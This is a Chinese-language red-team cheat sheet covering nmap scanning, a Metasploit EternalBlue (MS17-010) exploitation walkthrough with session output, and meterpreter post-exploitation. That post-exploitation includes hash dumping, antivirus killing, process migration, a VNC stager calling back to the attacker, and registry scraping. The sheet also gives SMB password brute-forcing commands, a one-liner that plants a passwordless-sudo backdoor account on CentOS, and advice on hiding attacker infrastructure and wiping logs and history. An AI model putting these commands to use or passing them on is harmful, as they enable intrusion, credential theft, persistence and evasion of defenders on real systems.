Red Team

常用命令

信息探测

端口扫描

# Namp各种扫描方式的参数
- TCP: -sT
- SYN: -sS
- ACK: -sA
- UDP: -sU
- RPC: -sR
- ICMP: -sP
- Disable Port Scan: -sn

# 扫描10000端口、操作系统、版本
nmap -T4 -A 10.0.4.146

# 默认单位秒,也可指定为毫秒,为1000ms
nmap -T4 -A 10.0.4.146 --scan-delay 1.1

# 版本探测  等待时间长
nmap -sV 10.0.4.146

# 操作系统探测
nmap -O 10.0.4.146

# 其它参数
--host-timeout  主机超时时间
--scan-delay  报文时间间隔,单位秒,常用值 1 
-S <src_ip>  定义扫描源地址,为了降低被发现的概率

# 其它示例
# 随机选择 1000 台主机扫描是否运行Web服务器(80端口)。
nmap -v -iR 1000 -P0 -p 80

文件上传

在自己的攻击机如Kali上利用Python开 HTTP Server,让被攻击机从攻击机Kali上下载各种工具。完成后即可撤销。

  • Python 2 version: python -m SimpleHTTPServer 8000
  • Python 3 version: python -m http.server 8000

然后在浏览器输入:127.0.0.1:8000 即可访问该路径下的文件了。

红队基础设施建设

  • Red-Baron,一个红队自动化部署脚本,但是因为最近都没更新,建议红队开发时参考就好。

红队攻防

权限维持

红队演练与APT相似的是核心同样在于 “持久化” ,建议还是私钥登录以及创建高权限用户为主。

可以做一些sudo提权或者SUID文件等操作间接的使用root权限。

在拿到shell后可以上线到自己C2上,Linux上线CobaltStrike的方式可以使用CrossC2插件进行。

反弹shell我们一定要用反向代理之类的手段隐匿真实VPS IP,并对Netcat进行流量加密。

使用nohup的方式留以持续性的代理的方式也比较容易被发现,所以建议使用frp进行代理,也因为它的可拓展性非常高,通过免杀或修改配置文件等方式可以进行躲避流量监测。

一定要对痕迹进行清理。

在蓝队处置的过程中,重点关注的对象就是一些登录、服务日志、进程、端口,新建文件,这也是雷区所在,一定要在这些方面下功夫。

尤其是历史命令,不清理被还原出攻击路径的概率非常大,这也会被一步步揪出来。

如果能够顺利通过处置人员的排查,那么恭喜你可以安心继续了,因为在非必要或确认失陷的情况,没有甲方愿意去隔离当前业务,尤其是对外服务、内部OA、工控系统等,停止业务系统都可能造成不可估量的损失。

在进入内网环境下,每一步操作都需要非常的慎重,尤其是涉及端口、进程的操作。因为稍有不慎,被捕获到异常操作,会引起防守方极大的重视。尤其是多次异常告警的情况下,通常在第一次告警的情况下,蓝队成员未排查出异常操作后会对该主机进行重点关注,如果继续出现告警,那么极有可能直接进行单机隔离。

对于一些新晋红队的同学,风起哥建议首先做好基础建设,比如免杀、隐匿、工具特征改造、匿名VPS、邮箱、手机号、身份信息等,最好在纯净的虚拟机中进行渗透操作(别搁虚拟机里看什么腾讯视频)。如果被蜜罐抓到ID,那么基本上被溯源出来的概率就很高了,你可能还在愉快的渗透着,突然告诉你出局了。

常规漏洞利用

ms17-010

  1. 内网探测可以利用主机

nmap -n -p445 --script smb-vuln-ms17-010 10.0.4.140/24 --open

result

虽然扫描速度很快,但可能存在五阿波

  1. 进入msf,通过使用auxiliary/scanner/smb/smb_ms17_010模块进行漏洞扫描(如果通过第0步已经确认可攻击的目标,可以直接到后面第4步对目标发起攻击)
# msfconsole
       =[ metasploit v6.0.30-dev                          ]
+ -- --=[ 2099 exploits - 1129 auxiliary - 357 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Enable verbose logging with set VERBOSE 
true

msf6 > use auxiliary/scanner/smb/smb_ms17_010 
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options

options

  1. 设置扫描目标的网段,看哪些目标存在漏洞
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 10.0.4.0/24
rhosts => 10.0.4.0/24
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
(本人内网测试的时候,扫描速度巨慢,但结果相对精准一些)

看结果,只有自己准备的靶机能用,不过检测结果还算精准。

  1. 通过使用exploit/windows/smb/ms17_010_eternalblue模块进行漏洞攻击
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.0.4.147
rhost => 10.0.4.147
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
# msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

看执行结果可知攻击成功,获得session。

win7cmd,消除乱码用chcp 65001命令

如果直接拿到系统权限,并且没有蓝屏,则可以进行后续渗透工作。比如用meterpreter进行后渗透测试。

meterpreter是一种高级、隐蔽、多层面的且可动态扩展的payload,可以将反射dll注入到目标主机的内存中,还可以在运行时动态加载脚本和插件来进行后渗透利用。

常用的meterpreter命令

1. screenshot       # 获取活动用户的桌面截屏保存到相应目录

2. sysinfo          # 获取系统运行的平台

3. run post/windows/gather/hashdump   # 获取靶机上的账户密码哈希值
meterpreter > screenshot
Screenshot saved to: /root/VFsOPFXE.jpeg

meterpreter > sysinfo
Computer        : ADMIN-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

hashdump

Meterpreter跳转,并保持会话

4. background   # 可以跳转到MSF终端里,Meterpreter的会话仍然在运行
5. sessions -l  # 查看保持的会话连接列表
6. sessions -i <会话ID>  # 返回对应ID的Meterpreter控制台

Meterpreter跳转

获取管理员权限

7. use priv  # 加载priv扩展,以便访问某些特权模块
8. getsystem # 命令尝试将权限提升到本地系统权限或管理员权限
9. grtuid    # 检查获取的权限等级,服务端用户名返回的是NT AUTHORITY\SYSTEM表示我们成功获得了管理员权限
10. rev2self # 切换回meterpreter shell 会话中的初始用户账号

令牌假冒

a、通过 rurn get_local_subnets 命令,在Meterpreter会话中展示受控系统上本地子网
b、执行添加路由命令 run autoroute -p 10.180.0.0/16
c、告知系统将通过远程网络ID(即受控主机的本地网络)通过会话1来进行路由,然后通过route list 命令显示当前活跃的路由设置,可以看到正如预期那样添加了路由
d、对目标linux系统进行第二次渗透攻击,使用基于Samba的堆溢出漏洞攻击,这个漏洞存在于我们的metasploitable靶机上。攻击成功时,所有的流量都会通过这台受控机器与子网中的其他目标进行通信
meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 10.0.0.0/255.255.0.0

run autoroute -p 10.180.0.0/16
使用meterpreter脚本

1. run vnc 在远程系统上安装VNC会话。然后可以运行screen_unlock命令对目标机器上的桌面进行解锁,这样就能看到目标主机上的VNC窗口(解锁失败)
2. 进程迁移 可以将meterpreter会话迁移到内存空间中的其它稳定的、不会被关闭的服务进程中,以维持稳定的系统控制连接  run post/windows/manage/migrate 
3. 关闭杀毒软件 在最新版本的metasploit中推荐使用 run post/windows/manage/killav
4. 获取密码哈希值  run post/windows/gather/smart_hashdump
5. 查看目标机上的所有流量   捕获的包都能以.pcap的文件格式存储下来,并能够被wireshark解析 run packetrecorder -i 1
6. scraper脚本  run scraper 可以列举出你想从系统得到的任何信息,可以攫取用户名和密码,下载全部注册表,挖掘密码哈希值、收集系统信息以及输出HKEY_CURRENT_USER(HKCU)
需要使用桌面版Kali

meterpreter > run vnc
[*] Creating a VNC reverse tcp stager: LHOST=10.0.4.144 LPORT=4545
[*] Running payload handler
[*] VNC stager executable 73802 bytes long
[*] Uploaded the VNC agent to C:\Windows\TEMP\rqrSzPhYAwKOS.exe (must be deleted manually)
[*] Executing the VNC agent with endpoint 10.0.4.144:4545...


meterpreter > run post/windows/manage/migrate 

[*] Running module against ADMIN-PC
[*] Current server process: spoolsv.exe (576)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 2032
[+] Successfully migrated into process 2032

这里是从 当前进程576 迁移到 进程 2032

smart_hashdump packetrecorder

```shell script meterpreter > run scraper [] New session on 10.0.4.147:445... [] Gathering basic system information... [] Dumping password hashes... [] Obtaining the entire registry... [] Exporting HKCU [] Downloading HKCU (C:\Windows\TEMP\tnLjptrz.reg) [] Cleaning HKCU [] Exporting HKLM [] Downloading HKLM (C:\Windows\TEMP\NYKjcbmG.reg) [] Cleaning HKLM [] Exporting HKCC [] Downloading HKCC (C:\Windows\TEMP\qwGxHeUE.reg) [] Cleaning HKCC [] Exporting HKCR [] Downloading HKCR (C:\Windows\TEMP\QDKdXVcx.reg) [] Cleaning HKCR [] Exporting HKU [] Downloading HKU (C:\Windows\TEMP\BRGbnObL.reg) [] Cleaning HKU [] Completed processing on 10.0.4.147:445...



ref:
- [kail下使用exploit/windows/smb/ms17_010_eternalblue练习meterpreter](https://blog.csdn.net/yanyi3271/article/details/102803158)
- [【漏洞分析】MS 17-010:NSA Eternalblue SMB 漏洞分析](https://www.anquanke.com/post/id/85904)
- 《渗透攻击红队百科全书》


### smb 445探测

```shell
msf6 exploit(multi/samba/usermap_script) > search smb_version

Matching Modules
================

   #  Name                               Disclosure Date  Rank    Check  Description
   -  ----                               ---------------  ----    -----  -----------
   0  auxiliary/scanner/smb/smb_version                   normal  No     SMB Version Detection


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_version

msf6 exploit(multi/samba/usermap_script) > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   10.0.10.65       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   THREADS  1                yes       The number of concurrent threads (max one per host)

msf6 auxiliary(scanner/smb/smb_version) > run

[*] 10.0.10.65:445        - Force SMB1 since SMB fingerprint needs native_lm/native_os information
[*] 10.0.10.65:445        - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:LZNT1) (encryption capabilities:AES-128-CCM) (signatures:optional) (guid:{927bdfc0-89f0-4623-935a-dd8921fa5ef4}) (authentication domain:DESKTOP-CJQ9OPG)
[*] 10.0.10.65:445        -   Host could not be identified
[*] 10.0.10.65:           - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

smb枚举

medusa -h 10.0.0.x -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt

nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt 10.0.0.x -vvvv

nmap --script smb-brute 10.0.10.x

CentOS7提权

如果应用有REC还是root权限,可以反弹shell,也可以直接执行命令创建root账户

sudo useradd test && echo test:test123 | chpasswd && sudo usermod -a -G root test && tee /etc/sudoers.d/test <<< 'test ALL=(ALL) NOPASSWD: ALL'

CentOS7 有root执行权限的可以通过一个命令直接创建普通用户test并提权为root用户,且能免密执行sudo